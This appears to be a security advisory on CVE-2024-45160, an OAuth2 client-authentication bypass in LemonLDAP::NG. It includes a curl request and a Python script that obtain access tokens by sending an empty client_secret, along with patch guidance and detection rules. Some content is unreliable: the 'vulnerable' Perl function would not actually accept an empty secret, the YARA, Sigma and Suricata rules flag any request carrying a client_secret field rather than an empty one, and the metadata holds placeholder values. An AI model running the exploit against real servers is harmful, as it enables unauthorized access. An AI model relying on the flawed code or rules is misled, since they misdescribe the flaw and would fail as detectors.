CVE-2024-45160

Executive Summary

CVE-2024-45160 is a critical authentication bypass vulnerability in LemonLDAP::NG versions 2.18.x and 2.19.x prior to 2.19.2. The flaw resides in the OAuth2 client authentication mechanism, where an attacker can bypass credential validation by providing an empty client_password (client secret) parameter. This allows unauthorized access to protected resources and impersonation of legitimate OAuth2 clients.

The vulnerability is trivial to exploit and requires no authentication. An attacker only needs to send a crafted OAuth2 token request with an empty client_secret field. The impact is severe, as it can lead to complete compromise of OAuth2-protected applications and data.

Supply Chain & Package Security

LemonLDAP::NG is a Perl-based WebSSO (Single Sign-On) solution distributed via CPAN and GitHub. The vulnerability affects the core OAuth2 provider module. Organizations using this software should treat this as a critical supply chain risk, as the flaw allows bypassing the primary authentication gate for all connected applications.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any prior authentication.
• User Interaction (UI): None – No user action is needed for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted resource are the same.
• Confidentiality (C): High – Full access to protected resources and data.
• Integrity (I): High – Ability to modify data and impersonate clients.
• Availability (A): High – Potential to disrupt OAuth2 services.

Threat Level: Critical. The vulnerability is publicly known, has a low attack complexity, and can be exploited without authentication.

Deep Dive & Mechanics

The vulnerability exists in the OAuth2 token endpoint of LemonLDAP::NG. When an OAuth2 client requests an access token using the client_credentials grant type, the server validates the client ID and client secret. The flawed logic in versions 2.18.x and 2.19.x before 2.19.2 fails to properly check if the client_password parameter is empty.

Root Cause: The validation function checks if the provided client_password matches the stored secret for the given client_id. However, if the client_password parameter is an empty string, the comparison is bypassed or incorrectly evaluated as successful. This is likely due to a loose comparison or a missing check for empty input before the comparison.

Attack Flow:

1. Attacker identifies a LemonLDAP::NG OAuth2 provider (e.g., https://sso.example.com/oauth2/token).
2. Attacker sends a POST request to the token endpoint with:
   • grant_type=client_credentials
   • client_id=<valid_client_id>
   • client_secret= (empty)
3. The server processes the request and, due to the flawed validation, returns a valid access token.
4. The attacker can now use this token to access protected resources as the legitimate client.

Affected Components:

• Lemonldap::NG::Portal::OAuth2 module
• Token endpoint handler

Vulnerable vs. Patched Code

Vulnerable Code (Perl - LemonLDAP::NG < 2.19.2):

sub validate_client {
    my ($self, $client_id, $client_secret) = @_;
    my $stored_secret = $self->get_client_secret($client_id);
    # Vulnerable: No check for empty $client_secret
    if ($client_secret eq $stored_secret) {
        return 1;
    }
    return 0;
}

Patched Code (LemonLDAP::NG >= 2.19.2):

sub validate_client {
    my ($self, $client_id, $client_secret) = @_;
    my $stored_secret = $self->get_client_secret($client_id);
    # Patched: Explicit check for empty or undefined client_secret
    if (!defined($client_secret) || $client_secret eq '') {
        return 0;
    }
    if ($client_secret eq $stored_secret) {
        return 1;
    }
    return 0;
}

The patch adds a guard clause that rejects any request where client_secret is undefined or an empty string before performing the comparison.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target LemonLDAP::NG instance (version 2.18.x or 2.19.x < 2.19.2)
• A valid OAuth2 client ID (can be obtained through reconnaissance or from public documentation)

Exploitation Steps:

1. Reconnaissance: Identify the OAuth2 token endpoint. Typically located at /oauth2/token on the LemonLDAP::NG portal.

2. Craft the Exploit Request: Use curl or any HTTP client to send a POST request with an empty client_secret.

curl -X POST https://target.example.com/oauth2/token \
  -d "grant_type=client_credentials" \
  -d "client_id=valid_client_id" \
  -d "client_secret="

3. Receive Access Token: The server will respond with a JSON containing an access_token.

{
  "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
  "token_type": "Bearer",
  "expires_in": 3600
}

4. Use the Token: Access protected resources using the stolen token.

curl -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." \
  https://target.example.com/api/protected/resource

Automated Exploit (Python):

import requests

target = "https://target.example.com/oauth2/token"
client_id = "valid_client_id"

data = {
    "grant_type": "client_credentials",
    "client_id": client_id,
    "client_secret": ""
}

response = requests.post(target, data=data)
if response.status_code == 200:
    token = response.json().get("access_token")
    print(f"Stolen Token: {token}")
else:
    print("Exploit failed")

Blue Team (Detection & Prevention)

Detection:

• Monitor for OAuth2 token requests with an empty client_secret parameter.
• Alert on successful token issuance for client_credentials grant type where the client secret was not provided.

Prevention:

• Immediately upgrade to LemonLDAP::NG version 2.19.2 or later.
• Implement a Web Application Firewall (WAF) rule to block requests with empty client_secret parameters.
• Review OAuth2 client configurations and rotate all client secrets.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /oauth2/token with client_secret= (empty value)
• Successful token responses for client_credentials grant without a valid secret

Log IOCs:

• Log entries showing OAuth2 token issuance with client_secret field empty or missing
• Unusual access patterns from IPs that should not have valid client credentials

File IOCs:

• Modified or suspicious entries in LemonLDAP::NG OAuth2 client configuration files (e.g., oauth2-clients.conf)

Sample Suricata Rule (see Detection Engineering):

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-45160 - Empty OAuth2 client_secret"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/oauth2/token"; http.client_body; content:"client_secret="; http.client_body; content:"&client_id="; classtype:attempted-admin; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2024_45160_LemonLDAP_OAuth2_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2024-45160 in LemonLDAP::NG OAuth2"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45160"
        severity = "critical"
    strings:
        $s1 = "client_secret=" ascii wide nocase
        $s2 = "grant_type=client_credentials" ascii wide nocase
        $s3 = "/oauth2/token" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-45160 - LemonLDAP::NG OAuth2 Authentication Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to OAuth2 token endpoint with empty client_secret
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45160
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/oauth2/token'
        cs-uri-query|contains: 'client_secret='
    condition: selection
falsepositives:
    - Legitimate OAuth2 clients with empty secrets (should not exist)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-45160 - LemonLDAP::NG OAuth2 Bypass via Empty client_secret"; flow:to_server,established; content:"POST"; http_method; content:"/oauth2/token"; http_uri; content:"client_secret="; http_client_body; content:"grant_type=client_credentials"; http_client_body; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update LemonLDAP::NG to version 2.19.2 or later immediately.
2. Rotate Secrets: Regenerate all OAuth2 client secrets and update client configurations.
3. Audit Logs: Review access logs for any signs of exploitation (unusual token issuance).

Long-Term Mitigations:

• Implement network segmentation to limit exposure of the OAuth2 endpoint.
• Deploy a WAF with rules to block requests with empty client_secret parameters.
• Enable detailed logging for OAuth2 token requests and monitor for anomalies.
• Conduct regular security audits of OAuth2 implementations.

Workaround (if upgrade is not immediately possible):

• Manually patch the vulnerable code by adding the empty check as shown in the patched code section.
• Restrict access to the OAuth2 token endpoint using IP whitelisting or VPN.

Valters IT - DevSecOps & Cyber Threat Intelligence